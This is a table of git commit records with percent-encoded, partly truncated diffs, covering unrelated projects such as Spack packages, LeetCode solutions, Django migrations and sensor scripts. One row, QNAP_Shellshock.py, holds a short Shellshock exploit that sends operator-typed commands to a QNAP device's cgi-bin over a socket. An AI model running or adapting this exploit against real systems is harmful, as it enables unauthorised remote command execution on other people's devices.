commit stringlengths 40 40 | subject stringlengths 1 3.25k | old_file stringlengths 4 311 | new_file stringlengths 4 311 | old_contents stringlengths 0 26.3k | lang stringclasses 3
values | proba float64 0 1 | diff stringlengths 0 7.82k |
|---|---|---|---|---|---|---|---|
eff5016653980f24c5c55dfb866dbe108f50dedf | Add the cbtf spack build package. cbtf is the base package for the component based tool framework and is used for building and connecting cbtf components, including distributed components via the MRNet transfer mechanism. | var/spack/packages/cbtf/package.py | var/spack/packages/cbtf/package.py | Python | 0 | @@ -0,0 +1,2719 @@
+################################################################################%0A# Copyright (c) 2015 Krell Institute. All Rights Reserved.%0A#%0A# This program is free software; you can redistribute it and/or modify it under%0A# the terms of the GNU General Public License as published by the Free... | |
8faaee841f613753515e31c2e5d269222fccf898 | fix doc typo (default interference parameter) | SALib/analyze/rbd_fast.py | SALib/analyze/rbd_fast.py | #!/usr/bin/env python
# coding=utf8
from __future__ import division
from __future__ import print_function
import numpy as np
from scipy.signal import periodogram
from . import common_args
from ..util import read_param_file
def analyze(problem, Y, X, M=10, print_to_console=False):
"""Performs the ... | Python | 0 | @@ -961,17 +961,18 @@
default
-4
+10
)%0D%0A p
|
fc21bb14600f79a3d9970272fb7edd4eba548262 | Add test for python runner action wrapper process script performance. | st2actions/tests/integration/test_python_action_process_wrapper.py | st2actions/tests/integration/test_python_action_process_wrapper.py | Python | 0 | @@ -0,0 +1,2639 @@
+# Licensed to the StackStorm, Inc ('StackStorm') under one or more%0A# contributor license agreements. See the NOTICE file distributed with%0A# this work for additional information regarding copyright ownership.%0A# The ASF licenses this file to You under the Apache License, Version 2.0%0A# (the %2... | |
c6df42ca99c8f633c2f1efeb9af26ad4b88c4d75 | Create 04.py | 02/hw/04.py | 02/hw/04.py | Python | 0 | @@ -0,0 +1,801 @@
+# Define a procedure, find_last, that takes as input%0A# two strings, a search string and a target string,%0A# and returns the last position in the search string%0A# where the target string appears, or -1 if there%0A# are no occurences.%0A#%0A# Example: find_last('aaaa', 'a') returns 3%0A%0A# Make su... | |
ba0093c8b6801bdbded870ea5cc27eeec05abb58 | create db script | web/create_db.py | web/create_db.py | Python | 0.000001 | @@ -0,0 +1,807 @@
+__author__ = 'David Mitchell'%0A#This script creates an example/test db.%0A%0Afrom app import db%0Afrom app import MenuCategory, MenuItem%0A%0Adb.drop_all()%0Adb.create_all()%0A%0Aappetizer_category = MenuCategory(name='Appetizers')%0Aentree_category = MenuCategory(name='Entrees')%0Adesert_category =... | |
955a2a7e467cdcf83a19525e421feb9a5eaca7e3 | Add huxley/js.py for javascript | huxley/js.py | huxley/js.py | Python | 0 | @@ -0,0 +1,1252 @@
+# Copyright (c) 2013 Facebook%0A#%0A# Licensed under the Apache License, Version 2.0 (the %22License%22);%0A# you may not use this file except in compliance with the License.%0A# You may obtain a copy of the License at%0A#%0A# http://www.apache.org/licenses/LICENSE-2.0%0A#%0A# Unless required by... | |
79710bb5b77b8cfa95d92f7f39ac44fc0c605022 | Create featureCC.py | featureCC.py | featureCC.py | Python | 0 | @@ -0,0 +1,2285 @@
+### *- Program: FeatureCC%0A### *- Objective: To determine the total number of point, line, and polygon shapefiles%0A### in a directory%0A### *- Input: Provided by the user (workspace)%0A### *- Output: Display total files for point, line, and polygon shapefiles to the user%0A%0A# - START PROGRAM -%0... | |
61fa5c26b9b2eff24e88313671c7aa673e24bb0f | Create pythagoras.py | pythagoras.py | pythagoras.py | Python | 0.000003 | @@ -0,0 +1,198 @@
+#!/bin/python%0Afrom math import sqrt %0A%0Aprint %22a%5E2 + b%5E2 = c%5E2%22%0A%0Aleg1 = raw_input(%22Leg1 (a): %22)%0Aleg2 = raw_input(%22Leg2 (b): %22)%0A%0Ahypotenuse = sqrt((int(leg1) ** 2) + (int(leg2) ** 2))%0Aprint hypotenuse%0A
| |
c1bed8533d479112df6ae4aea0bb31e4419ae4f8 | change location of jianfan lib in data repo | setup/setupdev.py | setup/setupdev.py | #!/usr/bin/env python
# -*- coding:utf-8 -*-
import os
import shutil
"""
$PALI_DIR is the dir of git clone https://github.com/siongui/pali.git
Manual setup (for reference):
1. setup TongWen (deprecated):
```bash
cd $PALI_DIR
mkdir -p common/app/scripts/ext
cd common/app/scripts/ext/
wget http://tongwen.openf... | Python | 0 | @@ -1160,35 +1160,20 @@
./data/p
-ali/common/gae/
+y
lib
-s
/jianfan
@@ -1741,27 +1741,12 @@
ta/p
-ali/common/gae/
+y
lib
-s
/jia
|
7b09ba64c0327ecea04cc95057ffa7d5c8d939c8 | Add test for setopt to demonstrate that edit_config retains non-ASCII characters. | setuptools/tests/test_setopt.py | setuptools/tests/test_setopt.py | Python | 0 | @@ -0,0 +1,1072 @@
+# coding: utf-8%0A%0Afrom __future__ import unicode_literals%0A%0Aimport io%0A%0Aimport six%0A%0Afrom setuptools.command import setopt%0Afrom setuptools.extern.six.moves import configparser%0A%0A%0Aclass TestEdit:%0A @staticmethod%0A def parse_config(filename):%0A parser = configparser.... | |
cbf0d257bcbaeddeb9390047f575038b5d842dc8 | update version | paginator_plus/__init__.py | paginator_plus/__init__.py | Python | 0 | @@ -0,0 +1,48 @@
+# -*- coding: utf-8 -*-%0A%0A%0A__version__ = '0.0.1'%0A
| |
dc5e87f4a7bb1399951423c3a4236c58ab723665 | change AjaxImageField to behave like standard django FileField | ajaximage/fields.py | ajaximage/fields.py | #-*- coding: utf-8 -*-
from django.db.models import Field
from django.forms import widgets
from ajaximage.widgets import AjaxImageEditor
from django.conf import settings
class AjaxImageField(Field):
def __init__(self, *args, **kwargs):
upload_to = kwargs.pop('upload_to', '')
max_height = kwargs.po... | Python | 0 | @@ -32,173 +32,350 @@
ngo.
-db.models import Field%0Afrom django.forms import widgets
+core.files.storage import default_storage%0Afrom django.db.models.fields.files import FileDescriptor, FieldFile
%0Afrom
-ajaximage.widgets import AjaxImageEditor%0Afrom django.conf import settings%0A%0A%0Aclass AjaxImageField(Fiel... |
2a963c4d13035b6f8e301a7f0240b28e0e0764d3 | Create WordLadder_001.py | leetcode/127-Word-Ladder/WordLadder_001.py | leetcode/127-Word-Ladder/WordLadder_001.py | Python | 0 | @@ -0,0 +1,910 @@
+class Solution(object):%0A def ladderLength(self, beginWord, endWord, wordList):%0A %22%22%22%0A :type beginWord: str%0A :type endWord: str%0A :type wordList: Set%5Bstr%5D%0A :rtype: int%0A %22%22%22%0A if beginWord == endWord:%0A return ... | |
c657d92f1f8dc3cd4ff9995dc0d2857ce8f6fdd4 | Create CountingBits.py | leetcode/338-Counting-Bits/CountingBits.py | leetcode/338-Counting-Bits/CountingBits.py | Python | 0.000001 | @@ -0,0 +1,330 @@
+class Solution(object):%0A def countBits(self, num):%0A %22%22%22%0A :type num: int%0A :rtype: List%5Bint%5D%0A %22%22%22%0A seed = 1%0A res = %5B0%5D%0A %0A while num %3E 0:%0A res += %5Bres%5Bi%5D + 1 for i in xrange(min(num, see... | |
0cd5ed79f019db91261c0d858b61796021ec3f80 | Add syntax highlighting tests for PEP 570 | test/highlight/parameters.py | test/highlight/parameters.py | Python | 0 | @@ -0,0 +1,99 @@
+def g(h, i, /, j, *, k=100, **kwarg):%0A # %5E operator%0A # %5E operator%0A pass%0A
| |
511c8049c0b6bd12fd30550c2ffa2ec86341ef4f | version 0.1 added to the repo | fetch_remote_data/__init__.py | fetch_remote_data/__init__.py | Python | 0 | @@ -0,0 +1,18 @@
+__version__=%220.1%22%0A
| |
bf6c8ce59ec841b19dab3a02a9065864035d4d82 | Add a new helper to convert stackalytics default_data.json | bin/helpers/openstack/stackalytics.py | bin/helpers/openstack/stackalytics.py | Python | 0.00006 | @@ -0,0 +1,2407 @@
+import sys%0Aimport json%0Aimport yaml%0Aimport datetime%0A%0A# Read default_data.json from stackalytics/etc/ and convert for%0A# repoXplorer.%0A%0Aif __name__ == %22__main__%22:%0A ident = %7B'identities': %7B%7D,%0A 'groups': %7B%7D%7D%0A data = json.loads(file(sys.argv%5B1%5D).r... | |
367a1ff9f0ca3daae3ee804b5484e3863bb72307 | Add initial proposal tests | tests/views/test_proposal.py | tests/views/test_proposal.py | Python | 0 | @@ -0,0 +1,2671 @@
+#!/usr/bin/env python2.5%0A#%0A# Copyright 2011 the Melange authors.%0A#%0A# Licensed under the Apache License, Version 2.0 (the %22License%22);%0A# you may not use this file except in compliance with the License.%0A# You may obtain a copy of the License at%0A#%0A# http://www.apache.org/licenses/L... | |
ee4ab0cf3ef08459e1a8ad1cdae370870ba28805 | Create lc1755.py | LeetCode/lc1755.py | LeetCode/lc1755.py | Python | 0.000001 | @@ -0,0 +1,1048 @@
+class Solution:%0A def minAbsDifference(self, nums: List%5Bint%5D, goal: int) -%3E int:%0A n = len(nums)%0A nums.sort(key=lambda x: -abs(x))%0A neg = %5B0 for _ in range(n+1)%5D%0A pos = %5B0 for _ in range(n+1)%5D%0A for i in range(n-1, -1, -1):%0A i... | |
238d031651cb74d0ca9bed9d38cda836049c9c37 | Correct fallback for tag name | src/sentry/api/serializers/models/grouptagkey.py | src/sentry/api/serializers/models/grouptagkey.py | from __future__ import absolute_import
from sentry.api.serializers import Serializer, register
from sentry.models import GroupTagKey, TagKey
@register(GroupTagKey)
class GroupTagKeySerializer(Serializer):
def get_attrs(self, item_list, user):
tag_labels = {
t.key: t.get_label()
fo... | Python | 0.000005 | @@ -627,26 +627,162 @@
-label = item.value
+if item.key.startswith('sentry:'):%0A label = item.key.split('sentry:', 1)%5B-1%5D%0A else:%0A label = item.key
%0A
|
bc3495acdc9f53e2fa7d750f3dd7bb53826326e3 | Create csvloader.py | csvloader.py | csvloader.py | Python | 0.000053 | @@ -0,0 +1,379 @@
+import random%0Aimport csv%0Awith open('points.csv', 'wb') as csvfile:%0A writer = csv.writer(csvfile, delimiter=' ',quotechar='%7C', quoting=csv.QUOTE_MINIMAL)%0A%0A row = %5B%5D%0A for i in range(1000):%0A row.append(random.randrange(-2000,1000))%0A row.append(random.randrang... | |
8fe27d56592978a0d2a2e43b07214f982bad2010 | Add intermediate tower 8 | pythonwarrior/towers/intermediate/level_008.py | pythonwarrior/towers/intermediate/level_008.py | Python | 0.998595 | @@ -0,0 +1,907 @@
+# -------%0A# %7C@ Ss C%3E%7C%0A# -------%0A%0Alevel.description(%22You discover a satchel of bombs which will help %22%0A %22when facing a mob of enemies.%22)%0Alevel.tip(%22Detonate a bomb when you see a couple enemies ahead of %22%0A %22you (warrior.look()). Watch out f... | |
5e9c0961c381dcebe0331c8b0db38794de39300b | Initialize P01_fantasy_game_inventory | books/AutomateTheBoringStuffWithPython/Chapter05/PracticeProjects/P01_fantasy_game_inventory.py | books/AutomateTheBoringStuffWithPython/Chapter05/PracticeProjects/P01_fantasy_game_inventory.py | Python | 0.000004 | @@ -0,0 +1,1027 @@
+# This program models a player's inventory from a fantasy game%0A# You are creating a fantasy video game. The data structure to model the player%E2%80%99s%0A# inventory will be a dictionary where the keys are string values describing the item%0A# in the inventory and the value is an integer value de... | |
b50811f87d10dab0768feed293e239ca98a91538 | fix issue with ptu server and morse topic by correcting and republishing /ptu/state | topic_republisher/scripts/republish_ptu_state.py | topic_republisher/scripts/republish_ptu_state.py | Python | 0 | @@ -0,0 +1,1078 @@
+#!/usr/bin/env python%0A%0Aimport rospy%0Afrom sensor_msgs.msg import JointState%0A%0Aclass JointStateRepublisher():%0A%09%22A class to republish joint state information%22%0A%0A%09def __init__(self):%0A%09%09rospy.init_node('ptu_state_republisher')%0A%09%09self.pub = rospy.Publisher('/ptu/state', J... | |
c4d65e8720b8d79cf19cca6b2f928e3dccd7e888 | Convert birthday to DateField | okupy/accounts/models.py | okupy/accounts/models.py | # vim:fileencoding=utf8:et:ts=4:sts=4:sw=4:ft=python
from django.conf import settings
from django.db import models
from ldapdb.models.fields import (CharField, IntegerField, ListField,
FloatField, ACLField)
import ldapdb.models
class Queue(models.Model):
username = models.CharFi... | Python | 0.999999 | @@ -233,16 +233,27 @@
ACLField
+, DateField
)%0Aimport
@@ -1754,28 +1754,28 @@
birthday =
-Char
+Date
Field(db_col
|
007b2d2ce61864e87de368e508fa971864847fc7 | Create findPrimes.py | findPrimes.py | findPrimes.py | Python | 0 | @@ -0,0 +1,455 @@
+# Tyler Witt%0A# findPrimes.py%0A# 6.27.14%0A# ver 1.0%0A%0A# This function implements the Sieve of Eratosthenes algorithm to find all the prime numbers below lim%0A%0Adef findPrimes(lim):%0A primes = %5B%5D%0A cur = 0%0A if lim %3C 2:%0A return None%0A for num in range(2, lim + 1):%0A prim... | |
80f294e134ef684feb8ac700747a65522edf8758 | add new example in the gallery | examples/plot_kraken.py | examples/plot_kraken.py | Python | 0 | @@ -0,0 +1,1563 @@
+%22%22%22%0AKraken module example%0A=======================%0A%0Akraken module showing distribution of the most frequent taxons%0APlease, see :mod:%60sequana.kraken%60 for more information and the%0Aquality_taxon pipeline module or kraken rule.%0A%22%22%22%0A#This plots a simple taxonomic representa... | |
341ca75484b4607eb632d52bf257c8190ebf8a3b | Create fishspine3.py | fishspine3.py | fishspine3.py | Python | 0.000005 | @@ -0,0 +1,30 @@
+#Fish vertebral location code%0A
| |
11f1079598d446607f11fb3bff9ee41b2c852ac0 | Update sync queue time estimation | stats_cron.py | stats_cron.py | from tapiriik.database import db, close_connections
from datetime import datetime, timedelta
# total distance synced
distanceSyncedAggr = db.sync_stats.aggregate([{"$group": {"_id": None, "total": {"$sum": "$Distance"}}}])["result"]
if distanceSyncedAggr:
distanceSynced = distanceSyncedAggr[0]["total"]
else... | Python | 0 | @@ -1,12 +1,16 @@
+
from tapirii
@@ -1176,35 +1176,24 @@
.find(%7B%22
-NextSynchronization
+QueuedAt
%22: %7B%22$lt
@@ -1308,59 +1308,37 @@
, %7B%22
-NextSynchronization%22: 1%7D).sort(%22NextSynchronization
+QueuedAt%22: 1%7D).sort(%22QueuedAt
%22).l
@@ -1489,35 +1489,24 @@
edUser%5B%22
-NextSynchronization
... |
653ab8128de3c08b6b8be0d662f12ef5a3edf6b2 | Add grafana build rule | shipyard/rules/third-party/grafana/build.py | shipyard/rules/third-party/grafana/build.py | Python | 0.000001 | @@ -0,0 +1,1581 @@
+from foreman import get_relpath, rule%0A%0Afrom garage import scripts%0A%0Afrom templates.common import define_distro_packages%0A%0A%0AGRAFANA_DEB = 'grafana_5.1.4_amd64.deb'%0AGRAFANA_DEB_URI = 'https://s3-us-west-2.amazonaws.com/grafana-releases/release/grafana_5.1.4_amd64.deb'%0AGRAFANA_DEB_CHECK... | |
4dd0b349f971cd5ba4842f79a7dba36bf4999b6f | Add Jmol package (#3041) | var/spack/repos/builtin/packages/jmol/package.py | var/spack/repos/builtin/packages/jmol/package.py | Python | 0 | @@ -0,0 +1,1959 @@
+##############################################################################%0A# Copyright (c) 2013-2016, Lawrence Livermore National Security, LLC.%0A# Produced at the Lawrence Livermore National Laboratory.%0A#%0A# This file is part of Spack.%0A# Created by Todd Gamblin, tgamblin@llnl.gov, All r... | |
dc635babcf78343bf9490a77d716db89bda2698b | Create __init__.py | api_1_0/__init__.py | api_1_0/__init__.py | Python | 0.000429 | @@ -0,0 +1,125 @@
+from flask import Blueprint %0A%0Aapi = Blueprint('api', __name__)%0A%0Afrom . import authentication, posts, users, comments, errors%0A
| |
7d29c44e19c1f06deb0722a3df51501b39566c4b | Implement simple en/decoding command line tool | flynn/tool.py | flynn/tool.py | Python | 0.000108 | @@ -0,0 +1,1282 @@
+# coding: utf-8%0A%0Aimport sys%0Aimport argparse%0A%0Aimport flynn%0Aimport json%0A%0Adef main(args=sys.argv%5B1:%5D):%0A%09formats = %7B%22json%22, %22cbor%22, %22cbori%22, %22cborh%22, %22cborhi%22%7D%0A%09argparser = argparse.ArgumentParser()%0A%09argparser.add_argument(%22-i%22, %22--input-form... | |
5af92f3905f2d0101eeb42ae7cc51bff528ea6ea | Write bodies given by coordinates to a VTK file | syngeo/io.py | syngeo/io.py | Python | 0.000001 | @@ -0,0 +1,846 @@
+# stardard library%0Aimport sys, os%0A%0A# external libraries%0Aimport numpy as np%0Afrom ray import imio, evaluate%0A%0Adef add_anything(a, b):%0A return a + b%0A%0Adef write_synapse_to_vtk(neurons, coords, fn, im=None, t=(2,0,1), s=(1,-1,1),%0A margin=None):%0A %22%22%22Output neuron s... | |
e6e90cef36551796f7fb06585c67508538ce113f | Create MaxCounters.py | Counting-Elements/MaxCounters.py | Counting-Elements/MaxCounters.py | Python | 0 | @@ -0,0 +1,407 @@
+# https://codility.com/demo/results/trainingTC7JSX-8E9/%0Adef solution(N, A):%0A counters = N * %5B0%5D%0A max_counters = 0%0A for elem in A:%0A if elem == N+1:%0A counters = N * %5Bmax_counters%5D%0A else:%0A this_elem = counters%5Belem-1%5D + 1%0A ... | |
ce1d13bc6827f780e44491b630e64df7b52634f1 | add vibration sensor code | gpio/vibration-sendor-test.py | gpio/vibration-sendor-test.py | Python | 0 | @@ -0,0 +1,640 @@
+import RPi.GPIO as GPIO%0Aimport time%0Aimport datetime%0A%0AGPIO.setwarnings(False)%0AGPIO.setmode(GPIO.BCM)%0AIN_PIN = 18%0ALED_PIN = 17%0A%0AGPIO.setup(IN_PIN, GPIO.IN, pull_up_down=GPIO.PUD_UP) %0AGPIO.setup(LED_PIN, GPIO.OUT)%0A%0AGPIO.output(LED_PIN, GPIO.LOW)%0A%0Adef turn_on(led_pin):%0A GPI... | |
e7ef1806f84e6d07ef88ca23444f37cf6f50e014 | Add a console-less version. | wxMailServer.pyw | wxMailServer.pyw | Python | 0 | @@ -0,0 +1,94 @@
+# -*- encoding: utf-8 -*-%0Afrom wxMailServer import main%0A%0Aif __name__ == %22__main__%22:%0A main()
| |
b419f8c9f562d3d16a6079e949c47ec2adc4c97d | add utility script for merging test files | scripts/merge-tests.py | scripts/merge-tests.py | Python | 0 | @@ -0,0 +1,1367 @@
+import sys%0A%0Ac_includes = set()%0Acxx_includes = set()%0Ajive_includes = set()%0Alocal_includes = set()%0A%0Acode_blocks = %5B%5D%0A%0Adef mangle(fname):%0A%09name = fname%5B6:-2%5D%0A%09name = name.replace('/', '_')%0A%09name = name.replace('-', '_')%0A%09return name%0A%0Afor fname in sys.argv%5... | |
62e17c30ba45458254c0da5b14582aeeac9eab4c | Add command to pre-generate all jpeg images | signbank/video/management/commands/makejpeg.py | signbank/video/management/commands/makejpeg.py | Python | 0.000001 | @@ -0,0 +1,606 @@
+%22%22%22Convert a video file to flv%22%22%22%0A%0Afrom django.core.exceptions import ImproperlyConfigured%0Afrom django.core.management.base import BaseCommand, CommandError %0Afrom django.conf import settings%0Afrom signbank.video.models import GlossVideo%0Aimport os%0A%0Aclass Command(BaseCommand... | |
83d8199eccf7261a8e2f01f7665537ee31702f8c | Create QNAP_Shellshock.py | QNAP_Shellshock.py | QNAP_Shellshock.py | Python | 0.000001 | @@ -0,0 +1,486 @@
+#!/usr/bin/python%0Aimport socket%0A%0A%0Aprint %22QNAP exploit!%22%0Ainputstr=%22%22%0Aip=%22x.x.x.x%22 #Change IP Value%0Aport=8080%0A%0Awhile True:%0A%09s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)%0A%09inputstr=raw_input(%22cmd%3E %22)%0A%09s.connect(ip,port))%0A%09s.send(%22GET /cgi-bin... | |
444efa0506034302b605107981b0db4b8d2c37cc | task urls | task/urls.py | task/urls.py | Python | 0.999783 | @@ -0,0 +1,311 @@
+from django.conf.urls import patterns, include, url%0Afrom task.views import Home, TaskView, TaskDetail%0A%0Aurlpatterns = patterns(%0A '',%0A url(r'%5E$', Home.as_view(), name='home'),%0A url(r'%5Etask/$', TaskView.as_view(), name='task'),%0A url(r'%5Etask/(?P%3Cpk%3E%5Cd+)/$', TaskDetai... | |
63c2c7a696aedb1b08d2478a2b84aec42f4364cf | Add tests for URLConverter | tests/bucket/test_url_converter.py | tests/bucket/test_url_converter.py | Python | 0 | @@ -0,0 +1,1045 @@
+from mrs.bucket import URLConverter%0A%0Adef test_local_to_global():%0A c = URLConverter('myhost', 42, '/my/path')%0A%0A url = c.local_to_global('/my/path/xyz.txt')%0A assert url == 'http://myhost:42/xyz.txt'%0A%0Adef test_local_to_global_outside_dir():%0A c = URLConverter('myhost', 42, ... | |
88cf8e30da6ab655dfc31b2fd88d26ef649e127d | add sha digest tool | getDigest.py | getDigest.py | Python | 0 | @@ -0,0 +1,641 @@
+#!/usr/bin/env python%0A# encoding: utf-8%0A%0Aimport sys%0Aimport hashlib%0A%0A%0Adef getDigest(file):%0A # BUF_SIZE is totally arbitrary, change for your app!%0A BUF_SIZE = 65536 # lets read stuff in 64kb chunks!%0A md5 = hashlib.md5()%0A sha1 = hashlib.sha1()%0A with open(file, 'rb... | |
e9acbc2e1423084ddd4241e2fbdcc7fcbf02ad6d | add empty migration as data migration | coupons/migrations/0005_auto_20151105_1502.py | coupons/migrations/0005_auto_20151105_1502.py | Python | 0.000007 | @@ -0,0 +1,249 @@
+# -*- coding: utf-8 -*-%0Afrom __future__ import unicode_literals%0A%0Afrom django.db import migrations, models%0A%0A%0Aclass Migration(migrations.Migration):%0A%0A dependencies = %5B%0A ('coupons', '0004_auto_20151105_1456'),%0A %5D%0A%0A operations = %5B%0A %5D%0A
| |
3004dec0e0deadc4df61bafb233cd6b277c9bfef | Add in small utility that creates an index on the MongoDB collection, specifically on the Steam ID number key | util/create_mongodb_index.py | util/create_mongodb_index.py | Python | 0 | @@ -0,0 +1,1441 @@
+#!/usr/env python3.4%0Aimport sys%0Afrom pymongo import ASCENDING%0Afrom util.mongodb import connect_to_db%0Afrom argparse import (ArgumentParser,%0A ArgumentDefaultsHelpFormatter)%0A%0Adef main(argv=None):%0A parser = ArgumentParser(description='Run incremental learning '%0A... | |
3da9953aa453281fd55ada75b2ed40fce8d9df6c | Create screen_op.py | screen_op.py | screen_op.py | Python | 0.000003 | @@ -0,0 +1,3563 @@
+#-------------------------------------------------------------------------------%0A#%0A# Controls shed weather station%0A#%0A# The MIT License (MIT)%0A#%0A# Copyright (c) 2015 William De Freitas%0A# %0A# Permission is hereby granted, free of charge, to any person obtaining a copy%0A# of this softwar... | |
754dc2a5bc26a555576970a494a9de0e5026fae1 | Add DTFT demo | dtft.py | dtft.py | Python | 0 | @@ -0,0 +1,1927 @@
+#!/usr/bin/env python3%0A%22%22%22%0AUsing a typical FFT routine and showing the principle%0Abehind the DTFT computation.%0A%0A%22%22%22%0Aimport numpy as np%0Afrom matplotlib import pyplot%0A%0A##################################################%0A%0A# Efficient practical usage%0Adef fft(values, dt)... | |
f342a3bb330eab74f31f632c81792f93a6e086e8 | Add a script to automate the generation of source distributions for Windows and Linux. | create_distributions.py | create_distributions.py | Python | 0 | @@ -0,0 +1,1616 @@
+%22%22%22Script to automate the creation of Windows and Linux source distributions.%0A%0AThe TOPKAPI_example directory is also copied and the .svn directories stripped%0Ato make a clean distribution. The manual is included in MSWord format for now%0Abecause this is how it's stored in SVN.%0A%0AThis ... | |
6fd4aefcc70e28d96d7110a903328f24b6fea5e4 | bring back the in RAM version, it uses less RAM, but too much to pass 10M entries I think | zorin/mreport.py | zorin/mreport.py | Python | 0 | @@ -0,0 +1,2401 @@
+import sys%0Aimport json%0A%0Aclass Site(object):%0A%0A def __init__(self):%0A self.op_events = %7B%7D%0A self.chats = set()%0A self.emails = set()%0A self.operators = set()%0A self.visitors = set()%0A%0A def add_operator_event(self, ts, op, state):%0A ... | |
a038d9e204bd54e69d5a84427bc9a56b04583460 | Create restart script | dbaas/maintenance/scripts/restart_database.py | dbaas/maintenance/scripts/restart_database.py | Python | 0.000001 | @@ -0,0 +1,1388 @@
+from datetime import date, timedelta%0A%0Afrom maintenance.models import TaskSchedule%0Afrom logical.models import Database%0A%0A%0Adef register_schedule_task_restart_database(hostnames):%0A today = date.today()%0A try:%0A databases = Database.objects.filter(%0A databaseinfra... | |
93a396fdfc2b4a9f83ffbeb38c6f5a574f61478e | Add initial MeSH update script | scripts/update_mesh.py | scripts/update_mesh.py | Python | 0 | @@ -0,0 +1,3092 @@
+import os%0Aimport re%0Aimport csv%0Aimport gzip%0Aimport xml.etree.ElementTree as ET%0Afrom urllib.request import urlretrieve%0A%0A%0Adef _get_term_names(record, name):%0A # We then need to look for additional terms related to the%0A # preferred concept to get additional names%0A concepts ... | |
b28feb542a34cec9ae9d21b1efed5676dcab8956 | Make ContestParticipation.user not nullable; #428 | judge/migrations/0030_remove_contest_profile.py | judge/migrations/0030_remove_contest_profile.py | # -*- coding: utf-8 -*-
# Generated by Django 1.9.7 on 2016-07-31 18:13
from __future__ import unicode_literals
from django.db import migrations, models
import django.db.models.deletion
def move_current_contest_to_profile(apps, schema_editor):
ContestProfile = apps.get_model('judge', 'ContestProfile')
db_ali... | Python | 0.000103 | @@ -2072,16 +2072,55 @@
ET_NULL,
+%0A
related
@@ -2162,16 +2162,55 @@
pation',
+%0A
verbose
@@ -2557,16 +2557,52 @@
CASCADE,
+%0A
related
@@ -2936,16 +2936,52 @@
istory',
+%0A ... |
6ea2d5af752e4765be8ef433139f72538fa3a2dd | Check that relationships in SsWang are up-to-date | tests/test_semsim_wang_termwise.py | tests/test_semsim_wang_termwise.py | Python | 0 | @@ -0,0 +1,1998 @@
+#!/usr/bin/env python3%0A%22%22%22Test S-value for Table 1 in Wang_2007%22%22%22%0A%0A__copyright__ = %22Copyright (C) 2020-present, DV Klopfenstein. All rights reserved.%22%0A__author__ = %22DV Klopfenstein%22%0A%0Afrom os.path import join%0Afrom sys import stdout%0A%0Afrom goatools.base import get... | |
43eb87c1297ac9999f027f275bce94b3e8f4894e | add problem | leetcode/14_longest_common_prefix.py | leetcode/14_longest_common_prefix.py | Python | 0.044376 | @@ -0,0 +1,468 @@
+%22%22%22%0AWrite a function to find the longest common prefix string amongst an array of strings.%0A%0AIf there is no common prefix, return an empty string %22%22.%0A%0AExample 1:%0AInput: %5B%22flower%22,%22flow%22,%22flight%22%5D%0AOutput: %22fl%22%0A%0AExample 2:%0AInput: %5B%22dog%22,%22racecar%... | |
347f22593a20c5553b9469fad051dbaa34643082 | add test_log_likelihood.py | crosscat/tests/test_log_likelihood.py | crosscat/tests/test_log_likelihood.py | Python | 0.000003 | @@ -0,0 +1,2040 @@
+import argparse%0Afrom functools import partial%0A#%0Aimport pylab%0Apylab.ion()%0Apylab.show()%0A#%0Afrom crosscat.LocalEngine import LocalEngine%0Aimport crosscat.utils.data_utils as du%0Aimport crosscat.utils.timing_test_utils as ttu%0Aimport crosscat.utils.convergence_test_utils as ctu%0A%0A%0Ap... | |
3acbccb289ff74d063c4809d8fc20235e99ea314 | When an assert fails, print the data that failed the assert so the problem can be triaged. BUG=none TEST=none Review URL: http://codereview.chromium.org/285005 | webkit/build/rule_binding.py | webkit/build/rule_binding.py | #!/usr/bin/python
# Copyright (c) 2009 The Chromium Authors. All rights reserved.
# Use of this source code is governed by a BSD-style license that can be
# found in the LICENSE file.
# usage: rule_binding.py INPUT CPPDIR HDIR -- INPUTS -- OPTIONS
#
# INPUT is an IDL file, such as Whatever.idl.
#
# CPPDIR is the dire... | Python | 0.999999 | @@ -1495,16 +1495,26 @@
ns) == 3
+, sections
%0A (base
@@ -1571,62 +1571,45 @@
== 3
+, base
%0A
+(
input
- = base%5B0%5D%0A cppdir = base%5B1%5D%0A
+, cppdir,
hdir
+)
= base
-%5B2%5D
%0A%0A
@@ -1630,16 +1630,24 @@
uts) %3E 1
+, inputs
%0A gener
|
c48d852c2ceb39e6692be1b2c270aa75156e5b5e | Add migrations/0121_….py | ielex/lexicon/migrations/0121_copy_hindi_transliteration_to_urdu.py | ielex/lexicon/migrations/0121_copy_hindi_transliteration_to_urdu.py | Python | 0 | @@ -0,0 +1,1283 @@
+# -*- coding: utf-8 -*-%0A# Inspired by:%0A# https://github.com/lingdb/CoBL/issues/223#issuecomment-256815113%0Afrom __future__ import unicode_literals, print_function%0Afrom django.db import migrations%0A%0A%0Adef forwards_func(apps, schema_editor):%0A Language = apps.get_model(%22lexicon%22, %2... | |
da5bd8b1afcffd8a0509a785183ce1474fe7f53c | Create insult.py | insult.py | insult.py | Python | 0.001151 | @@ -0,0 +1,1973 @@
+%22%22%22By Bowserinator: Insults people :D%22%22%22%0A%0Afrom utils import add_cmd, add_handler%0Aimport utils%0Aimport random%0A%0Aname = %22insult%22%0Acmds = %5B%22insult%22%5D%0A%0AinsultPattern = %5B%0A %22That %5BREPLACE%5D just cut me off!%22,%0A %22My boss is a major %5BREPLACE%5D!%22... | |
1a1bf760f9d912f6c19943b58198d947b4e65b84 | Add mraa GPIO test | meta-iotqa/lib/oeqa/runtime/sanity/mraa_gpio.py | meta-iotqa/lib/oeqa/runtime/sanity/mraa_gpio.py | Python | 0.000001 | @@ -0,0 +1,1440 @@
+from oeqa.oetest import oeRuntimeTest%0Aimport unittest%0Aimport subprocess%0Afrom time import sleep%0A%0Aclass MraaGpioTest(oeRuntimeTest):%0A '''%0A These tests require to use BeagleBone as testing host%0A '''%0A pin = %22%22%0A def setUp(self):%0A (status, output)= self.targ... | |
8b7e84e98ccf0b44d7c6cc6ff23f462ec648d3f0 | add test | msmbuilder/tests/test_feature_selection.py | msmbuilder/tests/test_feature_selection.py | import numpy as np
from sklearn.feature_selection import VarianceThreshold as VarianceThresholdR
from ..featurizer import DihedralFeaturizer
from ..feature_selection import FeatureSelector, VarianceThreshold
from ..example_datasets import fetch_alanine_dipeptide as fetch_data
FEATS = [
('phi', DihedralFeatur... | Python | 0.000002 | @@ -771,16 +771,255 @@
, y1)%0A%0A%0A
+def test_featureselector_transform():%0A dataset = fetch_data()%0A trajectories = dataset%5B%22trajectories%22%5D%0A%0A fs = FeatureSelector(FEATS, which_feat='psi')%0A%0A y1 = fs.transform(trajectories)%0A%0A assert len(y1) == len(trajectories)%0A%0A%0A
def test
|
